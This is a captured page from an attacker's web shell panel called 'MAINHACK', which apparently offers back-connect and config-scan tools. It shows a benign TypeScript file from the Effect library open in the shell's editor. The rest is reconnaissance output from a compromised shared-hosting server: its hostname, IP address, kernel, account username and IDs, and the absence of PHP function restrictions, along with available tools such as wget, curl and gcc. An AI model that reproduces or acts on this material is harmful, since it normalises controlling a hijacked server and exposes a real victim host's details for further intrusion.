[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ExecutionStrategy.ts
/** * @since 2.0.0 */ import type { LazyArg } from "./Function.js" import * as internal from "./internal/executionStrategy.js" /** * Describes a strategy for evaluating multiple effects, potentially in * parallel. * * There are 3 possible execution strategies: `Sequential`, `Parallel`, * `ParallelN`. * * @since 2.0.0 * @category models */ export type ExecutionStrategy = Sequential | Parallel | ParallelN /** * Execute effects sequentially. * * @since 2.0.0 * @category models */ export interface Sequential { readonly _tag: "Sequential" } /** * Execute effects in parallel. * * @since 2.0.0 * @category models */ export interface Parallel { readonly _tag: "Parallel" } /** * Execute effects in parallel, up to the specified number of concurrent fibers. * * @since 2.0.0 * @category models */ export interface ParallelN { readonly _tag: "ParallelN" readonly parallelism: number } /** * Execute effects sequentially. * * @since 2.0.0 * @category constructors */ export const sequential: ExecutionStrategy = internal.sequential /** * Execute effects in parallel. * * @since 2.0.0 * @category constructors */ export const parallel: ExecutionStrategy = internal.parallel /** * Execute effects in parallel, up to the specified number of concurrent fibers. * * @since 2.0.0 * @category constructors */ export const parallelN: (parallelism: number) => ExecutionStrategy = internal.parallelN /** * Returns `true` if the specified `ExecutionStrategy` is an instance of * `Sequential`, `false` otherwise. * * @since 2.0.0 * @category refinements */ export const isSequential: (self: ExecutionStrategy) => self is Sequential = internal.isSequential /** * Returns `true` if the specified `ExecutionStrategy` is an instance of * `Sequential`, `false` otherwise. * * @since 2.0.0 * @category refinements */ export const isParallel: (self: ExecutionStrategy) => self is Parallel = internal.isParallel /** * Returns `true` if the specified `ExecutionStrategy` is an instance of * `Sequential`, `false` otherwise. * * @since 2.0.0 * @category refinements */ export const isParallelN: (self: ExecutionStrategy) => self is ParallelN = internal.isParallelN /** * Folds over the specified `ExecutionStrategy` using the provided case * functions. * * @since 2.0.0 * @category folding */ export const match: { /** * Folds over the specified `ExecutionStrategy` using the provided case * functions. * * @since 2.0.0 * @category folding */ <A>( options: { readonly onSequential: LazyArg<A> readonly onParallel: LazyArg<A> readonly onParallelN: (n: number) => A } ): (self: ExecutionStrategy) => A /** * Folds over the specified `ExecutionStrategy` using the provided case * functions. * * @since 2.0.0 * @category folding */ <A>( self: ExecutionStrategy, options: { readonly onSequential: LazyArg<A> readonly onParallel: LazyArg<A> readonly onParallelN: (n: number) => A } ): A } = internal.match
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344